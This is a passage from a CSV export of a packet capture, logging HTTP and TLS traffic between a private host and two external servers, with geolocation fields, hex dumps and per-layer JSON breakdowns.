I=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHM\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 536, \"\"id\"\": 42009, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37258, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113374011, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1351, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"rnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHM\"\"}}]\"\n2026-07-19 09:00:34.641954,12,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1664658684 Ack=2113374507,bc24112907bbbc2411360d0c080045000028a6134000800651800a98980b55d00ac9fa0800506338acfc7df7892b5010040096e70000,\".$.)...$.6\n...E..(..@...Q.\n...U.\n....Pc8..}..+P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42515, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20864, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658684, \"\"ack\"\": 2113374507, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 38631, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:34.652039,13,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2113374507 Ack=1664658684,bc2411360d0cbc24112907bb080045000224a41a40004006917d55d00ac90a98980b0050fa087df7892b6338acfc5018003f05530000636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"cmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 548, \"\"id\"\": 42010, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37245, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113374507, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1363, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"cmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-19 09:00:34.699603,14,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1664658684 Ack=2113375015,bc24112907bbbc2411360d0c080045000028a61440008006517f0a98980b55d00ac9fa0800506338acfc7df78b27501003fe94ed0000,\".$.)...$.6\n...E..(..@...Q.\n...U.\n....Pc8..}..'P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42516, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20863, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658684, \"\"ack\"\": 2113375015, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 38125, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:36.246635,15,TCP 96.16.53.133:443 -> 10.152.152.11:63963,96.16.53.133,10.152.152.11,443,63963,TCP,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP A Seq=1304512606 Ack=3437712464,bc2411360d0cbc24112907bb0800450005dc46dd40004006b606601035850a98980b01bbf9db4dc1485ecce754505010003f3e07000068a9781c6ad48676ca4499e468089af3b5d5421c38a75eebb1cce03219f36c305405d4c4df196323b4c65d17d192c96e82ab82a98566f8b5a22b02135bacf376be6d98815be7b84c47256fa1d976aa372fc0f320bf3503c4883bfe9e744574996fc10bf516bc2d4868d9266e848a1b15709039b3cf73297b9a89bd6035abefd8ddfe47080457f0d13fd3b56afb154da2de771dfd5467e3f1851e7b1bcb19749bece19f0049bc283c060da0f23ae6e72a80e2a209eab9ab8592c20679dd313e51934393e9088a59dbd23ac36cc3ca59d26d0a1b7ad3082d7a44e5a405daa5718a4ac26d8de5e01a7efe7b658e2ff470b279671a2774d5fca131799942505ca5228a0706a4733ba26efde502e791fc5b4baef54940fffb12c16f18ab59485c0761e5d5eeac19797daf91372cccb0054a806ceb7c2156502db7520237a8e45ea99644ee54d647337543882a54476721dc194170acadb885acaf68ac9a5d93c59699ba353368bd5cdc40a49e14753535da1247c418b0605d939a4f72b32e5456eedb39d97712a218227bc3321e0570a1ca5cdd84539feb6e4f0ad6557f534de3720200422ef9b3e6c2baafed6001a78791d5658deb31bf98f350f08e377e2f2d66216e0fce827cfa8d4595a1d75ef925d1ea7b74738cdcef44fdeae9d33371fdeac3032986ebbb19e57796d9022a694dab7bfc00892caf82aa35de1a7d8aaf95d713fc02819194f109c66c4c246f3a606ca8794797f866fbc1c9850400c38ddb8fb385c96e9b86b3a8f96e1be492e72806b031014dfa626f1336d966048d9f572e3cbe9af751c422dc80b639dfb5314fc9fc86248eab3cd28b4f545ffc260d1a217efb67c143c78b6c57c0390d6a3dd8af78c5a222bea8a85700538b8ba727db5955a9415a1ab2ad84f417a4d30034cc31b93c9b85b95d60a46ed631589981c48adbc0f95754cdd5f441f606171ba31703034018212aee3c1e0a4f4ff4910ed0fdc015e40a0db7f13af9aa2ddcc7c45dd371b48be752f795935cb98fad102affbf33c77c6435e8372cc70bfa1877d2e2e3318a47cf70958ccc42d95b958527cb3c5e47367a59ddd1b4ac80527ac49d78d809eef80d696d5e8ecb157aafeecb7b2de444b485fe0e97860e84a0332516d6287300e36d11e062a2e00d571fc3ccf045e6685c54724b3082030c797abf01c70976c3d388a8eb64b0b990959c9aecaaca046434a76b0e1c96d88cda9ccb6560802245c5ec46a583e47f08706ce521ba252560370a76a9f9f9e1b47883852e6d447991b4a0defe920e12233f08d310aec64a153c270db462d8e09e214122fa548a3cc27955a6f7e5df5035e7e3ac65256bcca62371bfc90dedd22a97db53aaef9c817ddb1eeef8fba597a7a581d7ad2295afb3cbc491224efa3db4486a422684a15f2280fb2ea9a18c0c09ff4b6f51dbd2bfa6e62b9e458700ec45d0765a87c440cc0bdc102d6b54aa45acb52e3fcc78050500af6e75a92af396d63130986ee91c8c57602302ba97682e415885ac59f45338e8f3b05d590649ce14c546071eae5437e24518e513c74da9d1416bf2b680fc199252b1e006390a782ab01b12019253c4ddd206d45678f384f7d86acec95f80033c808c71bdc458dbad8af78443a88a56195c27186df919492e9960bfde8cd5d0409b8e13e9463503b64194cee050a27aee384a64cdf555af799a996ed66bf74c35658a680bb779e15eb6c25d810aeb9ae65e7866b4fbf92748dcc3cc1b991fb419959bea21a5b0644b5986d2da135d6fd162fb7f2c3db6cd2a5e4f272b0bd1f965aa1184e71f64766535e6bd100ee3e5e3979a573c1b4824c333167e74b5023a92278b7bd482d18901e4e35fff4c1597fe11bcfa6164c86b65168d3daa4ac563090878b26ec052889990ffeae54ff85abcb80b07966ed4a6449e2879e0bba6aa6f7be96e198d3d2e9ff3a6163b7d6e6db0a885fd84bec621e386890d9ed162dd889941bc6386ad124f5af0a03c2bba8d63fde73f47b9eabb04227a0764c70b87210abe244472330c280085622332e5e5b33444ed,\"h.x.j..v.D..h.....B.8.^....2..l0T.....c#..]....n.....f...+..[..v.m..[..LG%o..v.7/.. .5...;..tEt.o.....-Hh.&n....p.9..s){...`5.....G..W..?..j..M..w..Tg....{...t.....I.(<.\n..:..*...\t.......y.1>Q.C....Y..:.l..Y.m\n.z..-zD.....q.J.m....~.{e./.p.yg.'t...1y.BP\\.\"\"....s;.n......[K..I@....o..YH\\.a.....y}..7,...J.l.|!VP-.R.7..^..D.T.G3uC.*TGg!..Ap......h..].....53h.\\.@...u55..G...`]..Or..TV..9.w...\"\"{.2..p..\\..S..nO\n.U.SM.r..B........`.....e..1...P..7~/-f!n...|..E...^.%..{ts...D....3q....).....w...*iM.{...,...5..}...........\t.lL$o:`l.yG..f.............n.....n....(..1.M.bo.6.f...W.<...Q.\"\"...9..1O...$..<..OT_.&\n.!~.g.C..lW.9\nj=..x..\"\"...W.S...'.YU.AZ.........4.1.<...]`.n.1X.......WT...A........@.!*.<.\nOO........\n\n..:..-...].q...R...\\....*..3.|d5.7,....w...1.G.p...B.[..'.<^G6zY.....Rz..x.\t..\nim^...z...{-.D.........3%..(s..m..b..\nW....E.h\\TrK0...yz...\tv.....d..........d4.k........e`.\"\"E..F.....pl.!.%%`7\nv.....x...mDy........#?.....J.<'\n.b...!A\"\".T.<.yU....P5...e%k..#q..\n..*..S....}............\"\"......\"\"N.=.HjB&.._\"\".......\t.KoQ.....+.E...E.vZ..@....-kT.E...?.x....nu.*...10.n...W`#...h.AX..Y.S8...]Y.I...F...T7.E....M..Ak......R...9\nx*.....S.....Vx....j.._..<..q..X.....C..V.\\'.m..I..`.....@....F5..A...P.z.8Jd..U.y..n.k.L5e.h..y.^..].\n...^xf...'H...........!..dKY....]o.b..,=..*^O'+...e.....dve5.........W<.H$.3.~t..:.'.{......._.L......ad.ke..=.J.c\t.x.n.R......O.Z.....n..D.(y....o{.n..=.....;}nm.......!...\n..b...A.c...OZ..<+..c..?G....\"\"z.d...!\n.$Dr3.(..b#2...4D.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1500, \"\"id\"\": 18141, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46598, \"\"src\"\": \"\"96.16.53.133\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 1304512606, \"\"ack\"\": 3437712464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 15879, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"68a9781c6ad48676ca4499e468089af3b5d5421c38a75eebb1cce03219f36c305405d4c4df196323b4c65d17d192c96e82ab82a98566f8b5a22b02135bacf376be6d98815be7b84c47256fa1d976aa372fc0f320bf3503c4883bfe9e744574996fc10bf516bc2d4868d9266e848a1b15709039b3cf73297b9a89bd6035abefd8ddfe47080457f0d13fd3b56afb154da2de771dfd5467e3f1851e7b1bcb19749bece19f0049bc283c060da0f23ae6e72a80e2a209eab9ab8592c20679dd313e51934393e9088a59dbd23ac36cc3ca59d26d0a1b7ad3082d7a44e5a405daa5718a4ac26d8de5e01a7efe7b658e2ff470b279671a2774d5fca131799942505ca5228a0706a4733ba26efde502e791fc5b4baef54940fffb12c16f18ab59485c0761e5d5eeac19797daf91372cccb0054a806ceb7c2156502db7520237a8e45ea99644ee54d647337543882a54476721dc194170acadb885acaf68ac9a5d93c59699ba353368bd5cdc40a49e14753535da1247c418b0605d939a4f72b32e5456eedb39d97712a218227bc3321e0570a1ca5cdd84539feb6e4f0ad6557f534de3720200422ef9b3e6c2baafed6001a78791d5658deb31bf98f350f08e377e2f2d66216e0fce827cfa8d4595a1d75ef925d1ea7b74738cdcef44fdeae9d33371fdeac3032986ebbb19e57796d9022a694dab7bfc00892caf82aa35de1a7d8aaf95d713fc02819194f109c66c4c246f3a606ca8794797f866fbc1c9850400c38ddb8fb385c96e9b86b3a8f96e1be492e72806b031014dfa626f1336d966048d9f572e3cbe9af751c422dc80b639dfb5314fc9fc86248eab3cd28b4f545ffc260d1a217efb67c143c78b6c57c0390d6a3dd8af78c5a222bea8a85700538b8ba727db5955a9415a1ab2ad84f417a4d30034cc31b93c9b85b95d60a46ed631589981c48adbc0f95754cdd5f441f606171ba31703034018212aee3c1e0a4f4ff4910ed0fdc015e40a0db7f13af9aa2ddcc7c45dd371b48be752f795935cb98fad102affbf33c77c6435e8372cc70bfa1877d2e2e3318a47cf70958ccc42d95b958527cb3c5e47367a59ddd1b4ac80527ac49d78d809eef80d696d5e8ecb157aafeecb7b2de444b485fe0e97860e84a0332516d6287300e36d11e062a2e00d571fc3ccf045e6685c54724b3082030c797abf01c70976c3d388a8eb64b0b990959c9aecaaca046434a76b0e1c96d88cda9ccb6560802245c5ec46a583e47f08706ce521ba252560370a76a9f9f9e1b47883852e6d447991b4a0defe920e12233f08d310aec64a153c270db462d8e09e214122fa548a3cc27955a6f7e5df5035e7e3ac65256bcca62371bfc90dedd22a97db53aaef9c817ddb1eeef8fba597a7a581d7ad2295afb3cbc491224efa3db4486a422684a15f2280fb2ea9a18c0c09ff4b6f51dbd2bfa6e62b9e458700ec45d0765a87c440cc0bdc102d6b54aa45acb52e3fcc78050500af6e75a92af396d63130986ee91c8c57602302ba97682e415885ac59f45338e8f3b05d590649ce14c546071eae5437e24518e513c74da9d1416bf2b680fc199252b1e006390a782ab01b12019253c4ddd206d45678f384f7d86acec95f80033c808c71bdc458dbad8af78443a88a56195c27186df919492e9960bfde8cd5d0409b8e13e9463503b64194cee050a27aee384a64cdf555af799a996ed66bf74c35658a680bb779e15eb6c25d810aeb9ae65e7866b4fbf92748dcc3cc1b991fb419959bea21a5b0644b5986d2da135d6fd162fb7f2c3db6cd2a5e4f272b0bd1f965aa1184e71f64766535e6bd100ee3e5e3979a573c1b4824c333167e74b5023a92278b7bd482d18901e4e35fff4c1597fe11bcfa6164c86b65168d3daa4ac563090878b26ec052889990ffeae54ff85abcb80b07966ed4a6449e2879e0bba6aa6f7be96e198d3d2e9ff3a6163b7d6e6db0a885fd84bec621e386890d9ed162dd889941bc6386ad124f5af0a03c2bba8d63fde73f47b9eabb04227a0764c70b87210abe244472330c280085622332e5e5b33444ed\"\"}}]\"\n2026-07-19 09:00:36.246758,16,TCP 10.152.152.11:63963 -> 96.16.53.133:443,10.152.152.11,96.16.53.133,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,R,,,Ether > IP > TCP,3,TCP R Seq=3437712464 Ack=3437712464,bc24112907bbbc2411360d0c080045000028000d40008006c28a0a98980b60103585f9db01bbcce75450cce754505004000039a10000,\".$.)...$.6\n...E..(.\n@.....\n...`.5.......TP..TPP...9...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 13, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 49802, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"96.16.53.133\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 3437712464, \"\"ack\"\": 3437712464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 14753, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:44.527327,17,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2113375015 Ack=1664658684,bc2411360d0cbc24112907bb080045000028a41b40004006937855d00ac90a98980b0050fa087df78b276338acfc5011003f03570000,\".$.6\n..$.)....E..(..@.@..xU.\n.\n....P..}..'c8..P..?.W..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42011, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37752, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113375015, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 855, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:44.527573,18,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1664658684 Ack=2113375016,bc24112907bbbc2411360d0c080045000028a61540008006517e0a98980b55d00ac9fa0800506338acfc7df78b28501003fe94ec0000,\".$.)...$.6\n...E..(..@...Q~\n...U.\n....Pc8..}..(P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42517, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20862, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658684, \"\"ack\"\": 2113375016, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 38124, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:44.527697,19,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1664658684 Ack=2113375016,bc24112907bbbc2411360d0c080045000028a61640008006517d0a98980b55d00ac9fa0800506338acfc7df78b28501103fe94eb0000,\".$.)...$.6\n...E..(..@...Q}\n...U.\n....Pc8..}..(P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42518, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20861, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658684, \"\"ack\"\": 2113375016, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 38123, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:44.527711,20,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2113375016 